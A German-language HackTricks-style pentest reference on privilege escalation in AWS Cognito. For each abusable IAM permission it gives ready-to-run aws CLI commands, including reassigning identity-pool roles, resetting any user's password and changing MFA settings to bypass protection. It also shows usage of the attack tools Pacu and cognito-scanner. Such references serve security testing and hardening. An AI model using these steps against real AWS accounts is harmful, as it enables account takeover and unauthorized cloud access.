AWS - Cognito Privesc

Support HackTricks

Cognito

Für weitere Informationen über Cognito siehe:

AWS - Cognito Enum

Sammeln von Anmeldeinformationen aus dem Identity Pool

Da Cognito IAM-Rollenanmeldeinformationen sowohl an authentifizierte als auch an unauthentifizierte Benutzer vergeben kann, kannst du, wenn du die Identity Pool ID einer Anwendung findest (sollte darin hardcodiert sein), neue Anmeldeinformationen erhalten und somit privesc (innerhalb eines AWS-Kontos, in dem du wahrscheinlich zuvor keine Anmeldeinformationen hattest).

Für weitere Informationen siehe diese Seite.

Potenzielle Auswirkungen: Direkte privesc zu der Dienstrolle, die an unauth Benutzer angehängt ist (und wahrscheinlich auch an die, die an auth Benutzer angehängt ist).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Mit dieser Berechtigung kannst du jede Cognito-Rolle an die authentifizierten/unauthentifizierten Benutzer der Cognito-App vergeben.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Wenn die Cognito-App keine nicht authentifizierten Benutzer aktiviert hat, benötigen Sie möglicherweise auch die Berechtigung cognito-identity:UpdateIdentityPool, um sie zu aktivieren.

Potenzielle Auswirkungen: Direkte Privilegieneskalation zu jeder Cognito-Rolle.

cognito-identity:update-identity-pool

Ein Angreifer mit dieser Berechtigung könnte beispielsweise einen Cognito-Benutzerpool unter seiner Kontrolle oder einen anderen Identitätsanbieter festlegen, bei dem er sich anmelden kann, um auf diesen Cognito-Identitätspool zuzugreifen. Dann wird ihm nur die Anmeldung bei diesem Anbieter ermöglichen, auf die konfigurierte authentifizierte Rolle im Identitätspool zuzugreifen.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Es ist auch möglich, diese Berechtigung zu missbrauchen, um die grundlegende Authentifizierung zu ermöglichen:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Potenzielle Auswirkungen: Kompromittierung der konfigurierten authentifizierten IAM-Rolle innerhalb des Identitätspools.

cognito-idp:AdminAddUserToGroup

Diese Berechtigung erlaubt es, einen Cognito-Benutzer zu einer Cognito-Gruppe hinzuzufügen, daher könnte ein Angreifer diese Berechtigung missbrauchen, um einen Benutzer unter seiner Kontrolle zu anderen Gruppen mit besseren Berechtigungen oder anderen IAM-Rollen hinzuzufügen:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Potenzielle Auswirkungen: Privilegieneskalation zu anderen Cognito-Gruppen und IAM-Rollen, die an Benutzerpoolgruppen angehängt sind.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Ein Angreifer mit diesen Berechtigungen könnte Gruppen erstellen/aktualisieren mit jeder IAM-Rolle, die von einem kompromittierten Cognito-Identitätsanbieter verwendet werden kann, und einen kompromittierten Benutzer Teil der Gruppe machen, wodurch auf all diese Rollen zugegriffen werden kann:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Potenzielle Auswirkungen: Privesc zu anderen Cognito IAM-Rollen.

cognito-idp:AdminConfirmSignUp

Diese Berechtigung ermöglicht es, eine Anmeldung zu bestätigen. Standardmäßig kann sich jeder in Cognito-Anwendungen anmelden. Wenn dies so bleibt, könnte ein Benutzer ein Konto mit beliebigen Daten erstellen und es mit dieser Berechtigung bestätigen.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Potenzielle Auswirkungen: Indirekte Privilegieneskalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer, wenn Sie einen neuen Benutzer registrieren können. Indirekte Privilegieneskalation zu anderen App-Funktionalitäten, indem Sie jedes Konto bestätigen können.

cognito-idp:AdminCreateUser

Diese Berechtigung würde es einem Angreifer ermöglichen, einen neuen Benutzer im Benutzerpool zu erstellen. Der neue Benutzer wird als aktiviert erstellt, muss jedoch sein Passwort ändern.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Potenzielle Auswirkungen: Direkte Privilegieneskalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer. Indirekte Privilegieneskalation zu anderen App-Funktionalitäten, indem man in der Lage ist, jeden Benutzer zu erstellen.

cognito-idp:AdminEnableUser

Diese Berechtigung kann in einem sehr speziellen Szenario hilfreich sein, in dem ein Angreifer die Anmeldeinformationen eines deaktivierten Benutzers gefunden hat und er ihn wieder aktivieren muss.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Potenzielle Auswirkungen: Indirekte Privilegieneskalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer und Berechtigungen des Benutzers, wenn der Angreifer über Anmeldeinformationen für einen deaktivierten Benutzer verfügte.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Diese Berechtigung ermöglicht die Anmeldung mit der Methode ADMIN_USER_PASSWORD_AUTH. Für weitere Informationen folgen Sie dem Link.

cognito-idp:AdminSetUserPassword

Diese Berechtigung würde es einem Angreifer ermöglichen, das Passwort eines beliebigen Benutzers zu ändern, wodurch er in der Lage wäre, sich als beliebiger Benutzer auszugeben (der keine MFA aktiviert hat).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Potenzielle Auswirkungen: Direkte Privilegieneskalation zu potenziell jedem Benutzer, sodass Zugriff auf alle Gruppen, in denen jeder Benutzer Mitglied ist, und Zugriff auf die authentifizierte IAM-Rolle des Identity Pools besteht.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Ein Angreifer könnte diese Berechtigung potenziell missbrauchen, um ein Mobiltelefon unter seiner Kontrolle als SMS MFA eines Benutzers festzulegen.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Ähnlich wie die vorherige Berechtigung kann diese Berechtigung verwendet werden, um die MFA-Präferenzen eines Benutzers festzulegen, um den MFA-Schutz zu umgehen.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Ähnlich wie die vorherige Berechtigung kann diese Berechtigung verwendet werden, um die MFA-Präferenzen eines Benutzerpools festzulegen, um den MFA-Schutz zu umgehen.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Es ist auch möglich, den Benutzerpool zu aktualisieren, um die MFA-Richtlinie zu ändern. Überprüfen Sie die CLI hier.

Potenzielle Auswirkungen: Indirekte Privilegieneskalation zu potenziell jedem Benutzer, dessen Anmeldeinformationen der Angreifer kennt, dies könnte es ermöglichen, den MFA-Schutz zu umgehen.

cognito-idp:AdminUpdateUserAttributes

Ein Angreifer mit dieser Berechtigung könnte die E-Mail-Adresse oder Telefonnummer oder ein anderes Attribut eines Benutzers unter seiner Kontrolle ändern, um zu versuchen, mehr Privilegien in einer zugrunde liegenden Anwendung zu erlangen. Dies ermöglicht es, eine E-Mail-Adresse oder Telefonnummer zu ändern und sie als verifiziert festzulegen.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Potenzielle Auswirkungen: Potenzieller indirekter Privilegienausbau in der zugrunde liegenden Anwendung, die den Cognito User Pool verwendet und Privilegien basierend auf Benutzerattributen gewährt.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Ein Angreifer mit dieser Berechtigung könnte einen neuen User Pool Client erstellen, der weniger eingeschränkt ist als bereits vorhandene Pool-Clients. Zum Beispiel könnte der neue Client jede Art von Methode zur Authentifizierung zulassen, kein Geheimnis haben, die Token-Widerrufung deaktiviert haben und Tokens für einen längeren Zeitraum gültig sein lassen...

Das gleiche kann getan werden, wenn anstatt einen neuen Client zu erstellen, ein bestehender modifiziert wird.

In der Befehlszeile (oder dem Update) können Sie alle Optionen sehen, überprüfen Sie es!

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Potenzielle Auswirkungen: Potenzieller indirekter Privilegienausstieg zum Identity Pool autorisierter Benutzer, der vom User Pool verwendet wird, indem ein neuer Client erstellt wird, der die Sicherheitsmaßnahmen lockert und es einem Angreifer ermöglicht, sich mit einem Benutzer anzumelden, den er erstellen konnte.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Ein Angreifer könnte diese Berechtigung missbrauchen, um Benutzer zu erstellen, indem er eine CSV mit neuen Benutzern hochlädt.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(In dem Fall, dass Sie einen neuen Importauftrag erstellen, benötigen Sie möglicherweise auch die iam passrole-Berechtigung, ich habe es noch nicht getestet).

Potenzielle Auswirkungen: Direkte Privilegieneskalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer. Indirekte Privilegieneskalation zu anderen App-Funktionalitäten, indem Sie jeden Benutzer erstellen können.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Ein Angreifer könnte einen neuen Identitätsanbieter erstellen, um dann über diesen Anbieter einloggen zu können.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potenzielle Auswirkungen: Direkte Privilegieneskalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer. Indirekte Privilegieneskalation zu anderen App-Funktionalitäten, indem beliebige Benutzer erstellt werden können.

cognito-sync:* Analyse

Dies ist eine sehr häufige Berechtigung, die standardmäßig in Rollen von Cognito Identity Pools vorhanden ist. Auch wenn ein Wildcard in Berechtigungen immer schlecht aussieht (insbesondere von AWS), sind die gegebenen Berechtigungen aus der Sicht eines Angreifers nicht besonders nützlich.

Diese Berechtigung erlaubt das Lesen von Benutzerinformationen der Identity Pools und Identity IDs innerhalb der Identity Pools (was keine sensiblen Informationen sind). Identity IDs könnten Datasets zugewiesen sein, die Informationen über die Sitzungen enthalten (AWS definiert dies als gespeichertes Spiel). Es könnte möglich sein, dass dies eine Art von sensiblen Informationen enthält (aber die Wahrscheinlichkeit ist ziemlich gering). Sie können auf der Aufzählungsseite nachlesen, wie Sie auf diese Informationen zugreifen können.

Ein Angreifer könnte auch diese Berechtigungen nutzen, um sich selbst in einen Cognito-Stream einzuschreiben, der Änderungen an diesen Datasets veröffentlicht oder eine Lambda-Funktion, die bei Cognito-Ereignissen ausgelöst wird. Ich habe nicht gesehen, dass dies verwendet wird, und ich würde hier keine sensiblen Informationen erwarten, aber es ist nicht unmöglich.

Automatische Tools

  • Pacu, das AWS-Exploitation-Framework, umfasst jetzt die Module "cognito__enum" und "cognito__attack", die die Aufzählung aller Cognito-Ressourcen in einem Konto automatisieren und schwache Konfigurationen, Benutzerattribute, die für die Zugriffskontrolle verwendet werden, usw. kennzeichnen, sowie die Benutzererstellung (einschließlich MFA-Unterstützung) und Privilegieneskalation basierend auf modifizierbaren benutzerdefinierten Attributen, verwendbaren Identitätspool-Anmeldeinformationen, übernehmbaren Rollen in ID-Token usw. automatisieren.

Für eine Beschreibung der Funktionen der Module siehe Teil 2 des Blogbeitrags. Für Installationsanweisungen siehe die Hauptseite von Pacu.

Verwendung

Beispiel für die Verwendung von cognito__attack, um die Benutzererstellung und alle Privilegieneskalationsvektoren gegen einen bestimmten Identitätspool und Benutzerpool-Client zu versuchen:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Beispiel für die Verwendung von cognito__enum, um alle Benutzerpools, Benutzerpool-Clients, Identitätspools, Benutzer usw. zu sammeln, die im aktuellen AWS-Konto sichtbar sind:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner ist ein CLI-Tool in Python, das verschiedene Angriffe auf Cognito implementiert, einschließlich einer Privilegieneskalation.

Installation

$ pip install cognito-scanner

Verwendung

$ cognito-scanner --help

Für weitere Informationen besuchen Sie https://github.com/padok-team/cognito-scanner

Unterstützen Sie HackTricks

Last updated